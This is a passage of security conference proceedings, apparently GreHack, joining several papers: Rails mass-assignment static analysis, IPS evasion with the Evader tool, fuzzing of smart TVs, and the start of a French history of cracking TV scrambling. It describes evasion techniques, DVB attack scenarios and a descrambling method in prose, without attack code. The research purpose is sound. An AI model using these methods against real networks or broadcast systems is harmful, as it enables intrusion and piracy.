mitigations simple enough they could be implemented quite
quickly with fundamental understanding of the models and
the use of their attributes. With the Rails 3.2.6 release, mass-
assignment has been disabled in development in such a way
that an exception is thrown if mass-assignment restrictions are
violated at runtime as an aid to developers. The vulnerability
is triggered via the very convenient update_attributes
method which is provided to simultaneously update multiple
attributes on a model. This may optionally include so-called
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“nested-attributes”, those attributes belonging to domain mod-
els associated with the model being updated explicitly, via a
single method call. This update is done without regard to the
nature of those attributes, as Rails does not attempt to reason
about the use of any attribute. For example, a user may have
a boolean attribute to indicate the user is an administrator.
Other attributes may be explicitly exposed to the user through
a web-form such as “real name” and “home town”. In this case
the user themself might manipulate that web-form’s fields to
include an administrator attribute of their own, as if it were
provided by the developer, effectively making themselves an
administrator.

While current static analysis tools cannot prevent the above
scenario, as they cannot reason about the relative sensitivity
of various fields within the system, they can reveal those
models which lack explicit white- or black-listing of at-
tributes for update. Rails provides two mechanisms for at-
tribute access control: white-listing via attr_accessible,
and black-listing, the considerably less preferable route, via
attr_protected. The latter mechanism is often used in
“kitchen-sink” models which have so many attributes such
that explicitly white-listing those attributes which should be
writeable is tedious for the developer, so a black-listing of the
few sensitive attributes is provided. The attr_accessible
and attr_protected “keywords” are actually methods in
a sophisticated DSL. We can identify calls to these methods,
and from their existence, infer that the developers of a given
application have at least taken steps to limit access to model
attributes, and hopefully, reasoned about their relative sensi-
tivity. Though this is not a foolproof methodology, it does
indicate to a developer or external auditor those models which
have not explicitly made public declarations about the sensi-
tivity of their underlying attributes. Moreover, those models
which are of sufficient complexity to warrant a black-listing
via attr_protected may warrant a significant refactor
into smaller models, each of which can have explicit access
controls applied to them. In this case the mere existence of
the black-list indicates a “pain-point” ripe for a refactor to
improve the architecture and security of the application in one
pass.

V. EXTERNAL LIBRARY CONVENTIONS

Not only does the Rails framework itself encourage stan-
dardization in the methods by which various pieces of func-
tionality are achieved, but the entire ecosystem has evolved
with the same philosophy in mind. Some libraries and ex-
ecutable gems such as Bundler and Rake, have become so
pervasive as to be considered an integral part of developing a
modern Rails application.

A. Bundler

With the introduction of the Bundler gem the process
of creating, updating, and maintaining library dependencies
for Rails applications, a process which had previously been
notoriously difficult, has become trivial. Bundler interrogates
a Gemfile and determines which versions of a given gem

and each of its dependencies (recursively) are required. For
example, an application may require a gem by name, by name
and explicit version (useful for specifying a bug-fix level of a
gem upon which an application relies), or an optimistic version
which will never be less than the specified version, but may
choose minor versions up to the next major version of a gem.
These options allow the system to avoid API changes that may
be introduced into a well semantically-versioned gem while
staying abreast of bugfixes. The results of the dependency
resolution process are stored in a Gemfile.lock which can
be interrogated for specific vulnerabilities. This interrogation
process does rely on some sort of external library of vul-
nerabilities but does have some strong advantages. The Rails
framework itself is installed as a gem from the Gemfile. As
vulnerabilities are found within Rails itself, CVEs are created,
and new versions are released, the Brakeman scanner can be
updated to check that a given application is not vulnerable to
those bugs fixed in various patch releases. This is not formal
“static analysis” in the context of analyzing executable code
but does follow the same philosophy of simply relying on
developers and tools to act consistently and openly such that
the code produced may be checked for correctness with a
maximum of ease.

B. Extension of Rails by Domain-Specific Languages

As noted previously, much of Rails which appears at first
glance to be made of “keywords”, as a developer might be
experienced with from other languages, is actually a method
call within the current class (or one of its ancestors). Examples
of this are the private [11] “keyword” for marking methods
as inaccessible to call from outside of the current class or
module, and attr_accessible and attr_protected
for limiting access to a models attributes. Thus, writing
specific handlers to analyze the parameters to these apparent
keywords is no different than writing handlers for an other
method call. Moreover, this means that extending Brakeman to
support external gems which introduce DSL methods of their
own is of the same difficulty as implementing handlers for the
attribute control methods. For example, the MetaWhere gem
by Ernie Miller which exposes some attribute-level searching
of ActiveRecord models, provides the assoc_searchable
and assoc_unsearchable methods to white and blacklist
attribute in much the same fashion as Rails attribute access
methods.

VI. CONCLUSION

By leveraging conventions within modern languages and
frameworks, one can more easily write sophisticated static
analysis tools than one might in a laissez-faire language which
encourages each developer to implement fundamental opera-
tions on their own. Following the conventions, we are able to
reason strongly about a developer’s use of given methods and
constructs with a minimum of overhead, and often without
resorting to extremely low-level analysis. Ruby’s type-system,
while being intentionally flexible, lends itself to analysis of
its abstract syntax tree, and thus to determining when various
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pieces of data may be user-controlled and when not. Just as the
Rails framework continues to evolve, so does the Brakeman
scanner with constant improvements in identifying security
vulnerabilities in an extremely popular web framework.
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ABSTRACT 

This paper highlights a serious security problem that people 
believe has been fixed, but which is still very much existing 
and evolving, namely evasions. We describe how protocols 
can still be misused to fool network security devices, such 
as intrusion prevention systems.   

Categories and Subject Descriptors 
D.2.0 [Computer Communication Networks]: Security 
and protection.  

General Terms 
Security. 

Keywords 
Network, intrusion prevention, deep inspection, evasion, 
IDS, IPS, FW. 

1. INTRODUCTION 
The Internet has evolved from the closed environment of 
academics to a worldwide network. The resources and 
services available to anyone at any time are huge. 
Protecting our digital assets from misuse is a major 
business and area of active research. 

Hosts and services on the Internet can be protected by e.g., 
firewalls (FW), virus scanners, intrusion detection systems 
(IDS) and intrusion prevention systems (IPS). Our interest 
in this paper are the middle-box security devices that do 
real-time analysis (sometimes called deep inspection) of the 
traffic and seek to close and raise alarms about flows that 
include harmful content, e.g., attacks exploiting remote 
code execution vulnerabilities on server services such as 
HTTP and MSRPC. In this paper we call these devices 
Intrusion Prevention System, IPS.  

To make attacks permitted by the IPS devices, the attacker 
can use so-called evasion techniques, ways to obfuscate the 
harmful content. Typical tricks include fragmenting the 
payload into small packets and sending these packs in 
disorder [2], desynchronizing protocol streams [3], using 
insertion attacks [2][5] and using various encodings 
[4][6][8]. The reason why theevasions work is the old 
robustness principle stated by Jon Postel in RFC793 [1] “be 
conservative in what you do, be liberal in what you accept 

from others”.  When the sender deliberately breaks this 
principle, he can send data that is eventually accepted by 
the receiver but not necessarily fully understood by an IPS. 
The ultimate effect of the evasion is thus the remote 
compromise of the target host even though the vulnerability 
exploited was something the IPS system should have been 
able to prevent. 

Most work on evasions is some ten years old. The standard 
way to reveal evasions is to use traffic normalization to 
rebuild an obfuscated data stream. The challenge is that 
obfuscated data streams can be very complex and resource 
wise expensive to open up. This has led vendors to do 
anomaly-based detection with minimum amount of 
normalization and TCP/IP reassembly.  

In our research we have gone further than the current state 
of the art. We have devised hundreds of atomic tricks on 
protocols such as IPv4/v6, TCP, NetBIOS, SMB, MSRPC, 
HTTP and also HTML encoding. These evasions can be 
combined to form complex evasions [7].  Furthermore, by 
doing combinations of these atomic evasions on multiple 
protocol layers and targeting the evasions into detection 
wise critical stages, we can build advanced evasions 
techniques (AET) that can by-pass any IPS on the market 
today. In this paper and demo, we show the Evader tool 
built to experiment on various evasions. The tool hides 
harmful content from IPS systems and injects it to the 
target host. As a result all commercial and open source IPS 
devices can be penetrated, most of them very easily. 

2. EVASION RESEARCH THUS FAR 
Research on evasions is being done by the scientific and 
security communities. One of the first papers about 
evasions was published by Ptacek and Newsham [2] 14 
years ago. Many IPS devices still do not handle properly 
the mentioned methods. In 1998 Horizon wrote an article to 
Phrack Magazine [3] about desynchronizing TCP stream. 
Rain Forest Puppy introduced multiple HTTP evasions in 
[4] and this work was further refined by Daniel Roelker [6]. 
An insertion evasion called SealMa was disclosed in 
Phrack [5] and combinations of evasions were introduced 
by Gorton and Champion [7]. Caswell and Moore [8] 
summarized at the time known evasion techniques and 
introduced some new evasions regarding SMB and MSRPC 
protocols. Examples of more scientific works to solve the 
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evasion problem include a Sigcomm 2006 paper by 
Varghese et al. [9], a paper by Dreger et al. in 2005 [10] 
and the work by Watson et al. [11]. ACM CCS has had 
many papers in the past on the topic, e.g., Shunting [12]. 

Despite all this work, there is no thorough and systematic 
discussion of ways to evade network intrusion detection. 
Our work focuses on understanding in detail the width and 
size of the problem. Once this is better understood, we can 
start devising ways to counter the attacks. 

3. THE EVADER TOOL 
We have implemented a tool we call Evader. It applies 
network level evasions to send a payload into a remote host 
through the IPS device under test (DUT).  Evader first 
sends non-malicious payloads that should not be prevented. 
This is called the false positive test. If this is successful, the 
malicious payload will be sent. Depending on the selected 
malicious payload, the remote system is either crashed or 
compromised via remote code execution. If this happens 
we know that the evasion was functional against the DUT.  
3.1 Features 
Evader contains a multilayer network protocol stack.  
When sending the payload, Evader can apply multiple 
evasions on various protocols. If the payload e.g. exploits 
the Microsoft Server Service Vulnerability MS08-067 [13], 
the evasions applied can be from IP, TCP, NetBIOS, SMB 
and MSRPC layers. Evader can divide the connection into 
several stages and every stage can have its own evasions 
applied. In theory the Evader can produce every possible 
obfuscated data stream transmitting the payload, but in 
practice this cannot be tested since there are hundreds of 
atomic evasions implemented, and virtually endless amount 
of combinations and stage permutations.  

3.2 Test Results 
We have used the tool on several commercial IPS systems. 
The DUTs have been updated to latest software, firmware 
and signature level.  Almost every DUT had to be tuned as 
well since they either failed to detect the exploit completely 
or missed it if any evasion were applied. Almost every 
DUT can be bypassed even with a tuned policy by 
previously disclosed evasions and AET is not even actually 
needed. With carefully devised AET, all tested devices fail. 
We run evasion tests using different vulnerabilities. Usually 
a DUT detects the attack and is able to name it with a CVE 
reference. Yet, with evasions DUTs do not identify the 
attack anymore even though it may generate protocol 
anomaly events. The problem with protocol anomalies is 
that they commonly generate false positives and cannot be 
used to drop/terminate connections. An example is the 
prevention of small TCP segments that some vendors use to 
block evasions. Table 1 shows simple tests where the recent 
Remote Desktop Vulnerability [14] was exploited through 
eight commercial IPS appliances. The exploit was taken 

from Metasploit and the evasions applied were: no evasion 
(Base), small TCP segmentation (Seg), reverse order sent 
TCP segments within the congestion window (Reverse), 
time-wait evasion where multiple decoy connections are 
opened  and closed using same connection tuple before 
time-wait counter expires (Time-Wait) and overlapping 
TCP segments with timestamp manipulation (PAWS). In 
our tests we have noticed that the IPS systems can fail in 
three different ways. A) The attack can bypass the IPS 
completely unnoticed compromising the target host. B) The 
attack may generate some anomaly events that do not in 
fear of false positives terminate the connection, thus the 
end system is still compromised. C) The attack is detected 
by the IPS and the IPS logged the attack as terminated even 
though it was successful. This kind of failure is very critical 
since it gives the IPS operators false sense of security. The 
reason for this failure is very simple, the attack is 
terminated too late, ie the compromising payload was fully 
sent before IPS intercepted. 

 

4. CONCLUSIONS 
We have shown how network intrusion prevention is very 
much behind the means of the attacker and we expect that 
evasions are being used all the time. We hope to trigger a 
serious discussion on how to perform network intrusion 
prevention and protect the society’s digital assets. We plan 
to continue this research and write a series of articles on 
these findings in the future. 
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3.4 Rikke Kuipers, Ari Takanen/ Fuzzing embedded devices

3.4.1 Rikke Kuipers

Rikke is a security specialist, has a network engineering background at several ISPs and the public broad-
casting platform in the Netherlands. After his move to Northen Finland he started working at Codenomicon,
performing audits and security research. Besides his main focus on fuzzing (network)protocols he has a huge
interest in web application hacking and information security in general. Ongoing projects are the develop-
ment of an automated web auditing framework and tools, research on DVB fuzzing and writing whitepapers
on various topics.

twitter: @rikkekuipers

3.4.2 Ari Takanen

Ari Takanen is the founder and CTO of Codenomicon, has been active in the field of software security
research since 1998 focusing on information security issues in next-generation networks and security critical
environments. In his work he aims to ensure that new technologies gain public trust by providing means
of measuring and solidifying the quality of networked software. Ari Takanen is one of the people behind
the PROTOS research project, which studied information security and reliability errors in e.g. WAP, SNMP,
LDAP, VoIP implementations. Ari is the author of several papers on security, and is a frequent speaker at
security and testing conferences, leading universities and international corporations. He is also the author of
two books on VoIP security and security testing.

twitter: @aritakanen

3.4.3 Fuzzing embedded devices

This talk focuses on the increased connectivity of electronic devices commonly found in offices and homes.
These devices are converging to a point where they deliver similar base functionalities and services. This
often means more specialized hardware and integration of network protocols to enable universal communi-
cation. Internet connectivity exposes these devices traditionally situated in a closed environment now to the
whole world, meaning exposure to threats from internal and external networks. This requires a new look
on the security of these devices. A device is now expected to perform more functions than just its origi-
nal purpose. For example, for years phones were primarily used for voice communication using the GSM
standard. A common smartphone these days can be thought of as hand-held computer integrated with a
mobile telephone, capable of displaying movies, pictures, browsing the Internet and staying up-to date on
social networks using a wide variety of protocols. Growth in demand for advanced mobile devices boasting
powerful processors, abundant memory, larger screens, and open operating systems has overtaken the rest
of the mobile phone market. The same shift has now moved to the TV world. Vendors are developing their
own platforms for Internet-enabled TVs, designed to connect directly to the Web. These devices are capable
of displaying dynamic content from the web, browsing the Internet and accessing social media through the
numerous widgets available. Standard functions usually also include playback of movies, pictures and music
from various sources such as USB sticks or SD-cards. All these inputs combined define the attack surface for
the TV. Fuzzing enables us to stress all this freshly exposed attack surface to test its security and robustness.
It is designed to simulate real-world hacking attempts against devices by creating and sending malformed
and unexpected messages (anomalies) with the intention to disrupt services. Fuzzing finds vulnerabilities
which can potentially be exploited. Malformed, anomalous input such as field overflows / underflows could
expose vulnerabilities in software which can then be patched before deployment. The talk will demonstrate
how to use fuzzers to find flaws in your software, using most recent TVs (2012 models). This in the hope of
a wider adoption of fuzzing in general, and thus improving product quality and security.

• Talk and paper can be downloaded from http://grehack.org
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I. TOPIC INTODUCTION 

The increased complexity of new technologies and 
faster software release cycles are making traditional 
reactive security solutions ineffective. Instead, more 
adaptable, preemptive product security testing is needed. 
Moreover, for example, due to agile development and 
outsourcing, the software development process itself is 
also becoming more complicated further increasing the 
need for more effective product security practices. 
Fuzzing is a black box testing technique which can be 
used to efficient and effectively test the open interfaces of 
software. Using these protocol fuzzers, security 
vulnerabilities can be found and eliminated proactively in 
an easy and uniform way. 

Fuzzers and other techniques to test software security 
have been around for quite some time now, so it should 
be possible to assume that recent software 
implementation are secure.  

This paper will take a closer look at fuzzing and why 
it should be done, recent changes in the electronic 
landscape as I see them happening, and we take a closer 
look at protocol implementations in one fast upcoming 
new technology; Internet-enabled TVs. 

II. VULNERABILITIES 

Vulnerabilities are not created, when a system is 
being attacked; they enable attacks. Vulnerabilities are 
implementation errors that are introduced into the code, 
when the programmer makes a mistake. They become 
vulnerabilities, once the software is released exposing the 
software for attacks. Security researchers, security 
companies and hackers discover some of the 
vulnerabilities, and if they choose to report the findings, 
they can enable software developers to create patches for 
the found vulnerabilities. However, other vulnerabilities 
still exist in the code waiting to be exposed. These 
unknown vulnerabilities are called zero-day 
vulnerabilities. Software vendors are unaware of their 
existence, thus there are no ready patches for them. Once 

a zero-day vulnerability is triggered, the developers race 
against the clock to get it fixed, before irrevocable 
damage is done to the company’s sales or reputation.  

Attackers need to find vulnerabilities in a device or a 
system in order to devise an attack against it. Basically, 
any crash-level bug can be exploited to attack a system or 
an application. Attackers send unexpected inputs to a 
system, and if they can get an abnormal response from 
the system, they continue to refine their inputs until they 
get the system to behave the way they want. Sometimes 
bugs can be exposed by simple individual inputs, and 
sometimes attackers have to communicate with longer 
message sequences with the system, in order to gain 
access to the deeper protocol layers. In some cases, 
vulnerabilities can even be triggered by events like 
heavier than normal use or maintenance. Therefore, the 
best way to ensure the security of your systems is to build 
security into it by finding and fixing these critical bugs 
before they become security vulnerabilities. The goal of 
fuzzing is to produce better quality software by finding 
vulnerabilities in the code before deployment. 

III. FUZZING 

Fuzzing[1][2] is a form of attack simulation, in which 
unexpected data is fed to the system through an open 
interface, and the behavior of the system is then 
monitored. If the system fails, for example, by crashing 
or by failing built in code assertions, then there is a bug 
in the software. Similar to advanced code analysis tools, 
more advanced fuzzing tools also test multiple layers. It 
is important that the fuzzers can genuinely interoperate 
with the tested system. Only this way can they access the 
deeper protocol layers and test the system more 
thoroughly. In contrast to static analysis, fuzzing can only 
find bugs, which can be accessed through an open 
interface. However, all the found issues are critical and 
exploitable. Exploitation can be in the form of crashes, 
denial of service, security exposures, performance 
degradation or anomalous behavior in general. 
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The problem with traditional software testing 

techniques such as static analysis is that they also reports 
bugs that the software does not contain, namely false 

positives. Because it is impossible to test the entire 

system, test tools have to make a number of 

approximations, which leads to inaccuracies. False 
positives are troublesome, because checking them 

consumes valuable resources. Thus, some tools have 

adopted heuristic or statistic approaches. The advantage 
of these approaches is that they can reduce the amount of 

false positives without compromising test coverage. In 

effect, it can improve a tools ability to catch critical 
vulnerabilities. 

 
In fuzzing, there are no false positives: Every bug is 

discovered as a result of a simulated attack. Thus, they 
are all real security threats. Simple fuzzing techniques 
rely on random mutation to create test cases. The 
coverage of mutation based fuzzers is limited and thus 
they only find some of the vulnerabilities the software 
contains. Yet, this is better than performing no fuzzing at 
all, because these are the vulnerabilities the attackers 
would also find. More sophisticated fuzzing techniques 
improve coverage by using protocol specifications to 
target protocol areas most susceptible to vulnerabilities. 
This type of optimized test generation also reduces the 
amount of test cases needed without compromising test 
coverage.   

IV. CHANGES IN THE ELECTRONIC LANDSCAPE 

In recent years the landscape of consumer media 
electronics has been formed by a set of devices, each 
performing its own dedicated function. A DVD player 
plays DVDs, a digital picture frame displays digital 
photos, a computer handles various data and so on. As 
technology advances and matures, customers’ demands 
change.  

A specific device is now expected to perform more 

functions than just its intended purpose. For example, 
mobile phones were primarily used for voice 

communication using the GSM standard during the last 

20 years. A common smart phone these days can be 
thought of as hand-held computer integrated with a 

mobile telephone, capable of displaying movies, 

pictures, browsing the Internet and staying up-to-date on 
social networks using a wide variety of protocols. 

Growth in demand for advanced mobile devices boasting 

powerful processors, abundant memory, larger screens, 

and open operating systems has outpaced the rest of the 
mobile phone market for several years. 

V. TV EVOLUTION 

The same shift has now moved to the TV world. 

Vendors are developing their own platforms for Internet-

enabled TVs, designed to connect directly to the Web 
and display content such as YouTube videos, weather 

reports and streaming movies or television shows. Some 

of the more expensive models even have full-blown 
browser implementations. Social media can be easily 

accessed by using one of the numerous widgets available 

for download. Standard functions usually also include 

playback of movies, pictures and music from various 
sources such as USB sticks or SD-cards.  

Most of these devices are very similar to a normal 
desktop computer: they have a processor, memory, a 

hard disk and some sort of OS running. With these 

similarities in hardware and software it's very likely that 
these Internet TVs will face the same security 

implications as those existing for computers nowadays, 

in addition to new attack vectors. 

VI. ATTACK SURFACE 

The attack surface can be divided in active and 
passive. The active attack surface refers to all the attack 
vectors of a given device, where the attacker has to 
actively transmit data to perform the attack. For TV this 
is mostly determined by the various services running on 
TV. The Bluetooth and wifi stack[4] are more and more 
commonly found in TVs, and are definitely interesting 
and well-known attack vectors in other embedded 
devices.  

The passive attack surface refers to interfaces the 
attackers can "listen in on" to gain information without 
altering the data in any way. The attack surface depends 
heavily on the type of TV. 

Televisions can be categorized as following: 

A. Dumb DVB-enabled TVs 

The so-called dumb TVs do not have much in terms 
of connectivity, except for the DVB. The standard Digital 
Video Broadcasting (DVB) protocol is the successor of 
analog broadcasting used in more than 80 countries 
worldwide. There are many DVB standards, each 
developed for its own intended use. The first of the DVB 
standards to be agreed upon by ETSI and others was the 
DVB-S standard (1994) for satellite transmission. DVB-
T is used for terrestrial transmissions, and was 
commercialized around 1997. DVB-C is used in cable 
transmissions.  
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B. Media center TVs 

Media Center TVs provide basic network 

connectivity and external media support from USB 
connectors and memory card readers. Network 

connectivity may appear to be limited to the local area 

network, providing media services and firmware 

updates.  

Besides UPnP and DLNA type media center protocols 
and a basic IP-stack, DHCP and HTTP/FTP connections 
are used just to fetch LAN based media content or 
firmware upgrades over WAN. These TVs may host 
some low level network services in themselves. 

C. Internet-enabled TVs 

In addition to the functionality of the Media Center 
TVs these even more advanced TVs host applications, 
applets and widgets which give a channel to pull dynamic 
content directly from the Internet, typically from various 
web services. New applications and application updates 
can be fetched and installed directly from the Internet.  

This level of openness in terms of attack surface is 
very similar to current smart phones or tablets, both of 
which have a connection to the Internet. The TV's 
browser may be directly used to access a wide variety of 
external content, exposing it to an even wider variety of 
attacks. 

VII. DVB: NEW ATTACK VECTOR 

A very interesting protocol to test in TVs is DVB, due 
to its wide implementation in TVs and demultiplexers. 
The DVB protocol is not used just to transmit 
video/audio streams to TVs. It is also used for local 
communication (i.e. car to car transmission), navigational 
purposes, access to content on hand-held devices (DVB-
H), and even to provide Internet access in remote 
locations where no cable or mobile communication is 
possible (IP-over-DVB/MPEG). Besides the commercial 
implementation the DVB-S2, second generation DVB 
satellite signaling, is a protocol commonly used by 
military instances all over the world to provide 
communication and tactical insight. Like most protocols, 
the DVB implementations in devices can be subject to 
vulnerabilities when not properly implemented. 

On a high level, content providers such as cable 
companies deliver one DVB stream to the TV. This 
stream contains several channels, each on its own 
frequency. The channels are combined, or "multiplexed" 
into one stream and delivered to the TV, which 
"demultiplexes" the signal so it can be "read" from the 
various channels. In addition to the audio/video streams 
(the payload), there are also a number of tables included 
in the so-called transport stream. These tables provide the 

TV with information about the stream. An example is the 
"PAT", which stands for Program Association Table, 
listing all available programs in the transport stream. 

Depending on the guidelines set per country, a TV can 
be picky about which tables should be present in the 
transport stream. When fuzzing the DVB, to mimic the 
exact stream a TV would normally accept, we used a 
capture device to record directly from the DVB-T/C 
source. This captured transport stream was then run 
through our fuzzer (Defensics MPEG TS suite) in order 
to create fuzzed version of the transport stream. In the 
last step we muxed the transport streams into a DVB 
signal and sent it back to the TV using a modulator.  

VIII. INSTRUMENTATION 

Normally when a protocol is fuzzed, it’s important to 
know when a test case triggers anomalous behavior in the 
target under test. This is done using instrumentation, 
using the following sequence: 

A. Interoperability 

Several valid sequences are taken from the RFC of 

the protocol. It is then verified that the subject under test 
(SUT) replies according to the specification when this 

sequence is tested. It could be that only some of the RFC 

specified sequences are implemented in the SUT. All of 

those that are found to interop, will be used in the 
fuzzing. This is only done once, before the actual 

fuzzing starts. 

B. Anomalized packet 

Based on packet definition in the RFC of the protocol, 
a packet is built with one or more anomalies. Anomalies 
could range from field level anomalies (integer 
anomalies, overflows in field, etc), structural level 
(underflows, repetition of elements, unexpected elements, 
etc) to sequence level anomalies (out of sequence, 
omitted, repeated packets, etc). The fuzzed packet is send 
to the SUT, which then might or might not reply. A reply 
could be in the form of an error response, a valid 
response, or an anomalous response. 

C. Instrumentation round 

One predefined sequence, proven to interop with the 
device in phase A is rerun against the SUT. If the device 
responds within a given timeframe and according to RFC 
specifications, the test case is marked as a pass. The next 
anomalized packet can now be send (phase B) again. If 
the SUT fails to respond in time, or responds with 
different packet than defined, the test case is marked as 
failed. 

When we tested DVB there was no instrumentation 
possible by using just the protocol since it’s mostly one 
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way traffic. To solve this problem we used an ICMP 
heartbeat to verify the health of the TV under test, using 
the network connectivity of the TV. 

IX. THREAT SCENARIOS 

A. Denial Of Service attacks  

Crashing the services in a TV so that a manual reboot 
of the TV is required for it to operate again. In some 
cases a firmware flash from the manufacturer is needed 
to fix the permanent damage caused by the attack.  

B. Exploits  

When a discovered vulnerability is analyzed, 
debugged and turned into a working exploit, the TVs are 
even more defenseless than computers. Malicious code 
can be run on the TV to gain unauthorized access to the 
TV. Counter-measurements such as memory protection 
technologies are not available in most TVs, making them 
easy targets. Detecting a breach can be hard because 
diagnostic tools for TVs are not available and users have 
no operating system level access to the TV.  

C. Covert Malware  

Botnets and other espionage software can be installed 
and remain undetected in home entertainment systems.  

D. Loss of sensitive data  

With the rise of "on-demand" services, such as the 
ability to rent movies and watch TV shows within 
minutes, the TV has to support some payment options. 
Credit card numbers are saved on the TV itself, which 
implies a possibility that could be extracted. Services like 
email and access to social media that are available on the 
more advanced TVs pull and store sensitive data on the 
TV, which could be accessed by an attacker.  

E. Social Engineering and Static Media 

A much underestimated vector is the delivery of 
content to a TV by static media such as USB sticks and 
memory cards. The software on a TV decodes movie 
files and displays pictures, which can be malicious and 
cause crashes or buffer overflows. Users can be tricked to 
inserting malicious USB media into the TV.  

X. RESULTS FROM SMART-TV FUZZING 

Protocol 
/ TV 

TV 1 TV 2 TV 3 TV 4 TV 5 TV 6 

IPv4 pass fail fail pass pass fail 

DVB fail fail fail fail fail fail 

UPnP n/a fail pass n/a n/a fail 

Images pass fail fail n/a n/a fail 

Audio pass pass n/a n/a n/a pass 

Video fail fail n/a fail fail fail 
Table I: Protocols tested per TV 

 
While testing the IPv4 stack we discovered 

vulnerabilities in some of the TVs. Unfortunately none of 
the TVs tested were IPv6 capable. As can be seen from 
the result table, all of the TVs crashed with several 
protocols. Surprisingly, protocols which have been 
around for a very long time, such as IPv4, still cause 
some models to crash or malfunction. This could be due 
to the use of an old kernel, a custom stack 
implementation or a CPU with insufficient power to 
handle larger or fragmented packets. [5] 

Most failures occurred in what should be the TV's 
primary function: decoding multimedia. Simple fuzzed 
images crash the TV with ease, and consequently they 
present an interesting attack vector due to the numerous 
way of distributing the possible exploits to the victim 
such as embedding the hostile images into web pages.  

Video decoding generated crashes on most TVs as 
well. These crashes were found using the same video 
sample on each of the TVs. This means that not all of the 
codecs within the TVs were tested, when one simple one 
caused such crashes.  

The DVB protocol seems to be vulnerable throughout 
all of the tested smart TVs, which is disappointing when 
considering that it is one of the key features a TV is 
supposed to handle. 

 The DVB is an interesting attack vector for several 
reasons. In the case of "simple" customer devices such as 
TVs, these kinds of vulnerabilities could be triggered 
remotely by overpowering the DVB-T signal in the air. 
Another possible attack would be to buy airtime from the 
commercial break, provide the broadcaster with your 
normal looking shampoo commercial, i.e. your prepared 
transport stream, that would contain exploits for the top 
10 Internet-enabled TVs. Where our research was limited 
by availability of possible test targets, in real life that is 
not an issue. DVB implementations in any device could 
be remotely crashed, get infected with malware, be 
eavesdropped upon, or at worst, get controlled by the 
attackers.[3] 

 

XI. CONCLUSION 

The solution is to test for security. Black-box testing 
techniques like fuzzing should be integrated in the 
software development lifecycle to eradicate security 
vulnerabilities before rolling the TVs out and exposing 
consumers to the threats. As shown in this study, the TV-
specific protocols are likely to open up new attack 
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vectors, and those all can be used to attack the TV set. 
Zero-day vulnerabilities in communication protocols 
open the devices to remote compromise. The TV 
manufacturers should be able to provide updates in a 
quick and easy manner for their deployed TVs. Open 
source software used in TVs poses a threat of its own, as 
known vulnerabilities in open source are always public. 
Reacting to found open source bugs has to be immediate, 
which is not always possible with TVs. It could be that 
TV need to be rebooted before patches are applied, or 
that the TV needs to be idle, i.e. on standby. It could also 
be that TVs have no internet access, but only local 
connectivity. Automated patch release process has to be 
in place if security bugs are not found proactively, before 
release. Which could be costly to develop and maintain. 
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3.5 Phil/ Cryptage audiovisuel ou #FAIL systématique ?

3.5.1 Phil

Phil is a computer freak escape from the 90’s GOT (God Old Time) and gets fun playing with software
protection or hardware security. He belonged to several Atari ST’s bands with the role of 0dayz games
cracker. Anonymously co-writer of a paper published in Phrack magazine #48 giving to the scene a working
implementation of a fake phone-card (fake phone card - part I ; fake phone card - part II) , Phil was caught
by Swedish’s police in Sweden but released free of charge. This event marked a stop in his public activities
... but we all known how to keep the fun going: he then joined an underground team working on breaking
audiovisual broadcast systems, without public release of sensitives information. Nowadays, Phil is working
as system administrator, and has been the project manager of an open-source network security tool for the
french administration for the last 5 years.

3.5.2 Cryptage audiovisuel ou #FAIL systématique ?

Ce document présente plusieurs systèmes de cryptages audiovisuels mis en place en France au fil des années.
Sont détaillés leurs fonctionnements, les démarches utilisées par les attaquants pour “casser les cryptages”
ainsi que les contre-mesures élaborées par les diffuseurs.

• Talk and paper can be downloaded from http://grehack.org
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Cryptage audiovisuel ou #FAIL 
systématique ?

Phil,
Institut des bricoleurs indépendants, 

département multimédia, 
Grenoble, France.

Résumé – Ce document présente les divers systèmes de cryptages audiovisuels mis en place en France au fil des  
années. Il explique leurs fonctionnements, les démarches utilisées par les pirates pour casser les cryptages ainsi que les 
contre-mesures élaborées par les diffuseurs.

Mots clés – Décodeur, Vidéo, Analogique, Numérique, Satellite, DVB, Carte à Puce, CSA, RSA, Microcontrôleur.

I. INTRODUCTION

Protéger un système de diffusion audiovisuel grand public s’apparente toujours au schéma suivant : Un diffuseur 
de  contenu  chiffre  à  un  instant  t  de  façon  unique  un  flux.  Ce  flux  étant  unique,  le  déchiffrement  se  fait 
directement par l’ensemble des décodeurs du parc d’abonnés avec une même et unique méthode. La protection 
proprement  dite  du système vient  de l’ajout  d’une  surcouche  qui  assure  au  diffuseur  que chaque décodeur  
recevra ou non le droit de décoder le flux. Toute la faiblesse du système vient de cette surcouche  : elle est 
alimentée par autant de données en entrée que d’abonnés mais le résultat qu’elle produit est toujours unique, 
c’est la clé de décodage.

Cette présentation retrace divers systèmes qui ont été mis en place en France. L’accent est mis particulièrement  
sur les méthodes employées par les pirates pour étudier puis décoder les flux et les contre-mesures déployées par  
les diffuseurs pour maintenir un système le plus longtemps possible sécurisé. Elle a un aspect historique qui peut 
tout à fait être transposable lors de la sécurisation d’un système d’aujourd’hui : l’aspect attaque de type side-
channel  est  abordé  ainsi  que l’évolution des technologies,  comme la puissance  de calcul  ou les moyens de 
communication. 

II. 1984 

1984, le premier système de cryptage audiovisuel Français à diffusion nationale est né. Quelques jours après son 
lancement des décodeurs pirates circulent sous le manteau. Même la presse publie des plans prêts à l’emploi  
d’un décodeur : Radio Plans numéro 445, saisi sur décision de justice avant sa sortie en kiosque mais qui sera 
malgré tout diffusé. Mais comment les pirates sont-ils arrivés à leurs fins si rapidement ?

Ce qui rend inintelligible l’image est un simple décalage temporel pseudo aléatoire pour chaque ligne. 3 types de 
lignes sont transmises : celles bien positionnées, celles avec 902 ns d’avance et celles avec 1804 ns d’avance.  En 
réalisant 2 mesures par ligne, qui cherchent la présence d’un début d’information d’image on peut déterminer s’il  
faut appliquer ou non un retard de 902 ou 1804 ns. La reconstruction de l’image est alors possible sur la simple 
base  d’une  analyse  ligne  à  ligne,  sans  autre  information  nécessaire.  Cette  technique  n’a  nécessité  aucune 
ingénierie inverse du décodeur officiel, simplement l’observation des données disponibles : l’image diffusée.

La  contre-mesure  associée  est  de  rendre  les  2  mesures  temporelles  inopérantes  en  « mettant  au  noir »  les 
premières 1804 ns de luminance active des lignes non retardées et les premières 902 ns des lignes retardées de 
902 ns (moment de la détection). Ainsi, le décodeur pirate ne peut plus distinguer si une ligne a été retardée ou 
non.

Il est à noter toutefois que cette méthode a pour inconvénient d'amputer la partie active de la ligne vidéo de près  
de 2 µs et que le début des lignes « remises en place » par le décodeur officiel n'est plus aligné, ce qui  peut être 
gênant sur les téléviseurs avec un faible sur-balayage ou un cadrage horizontal imparfait.
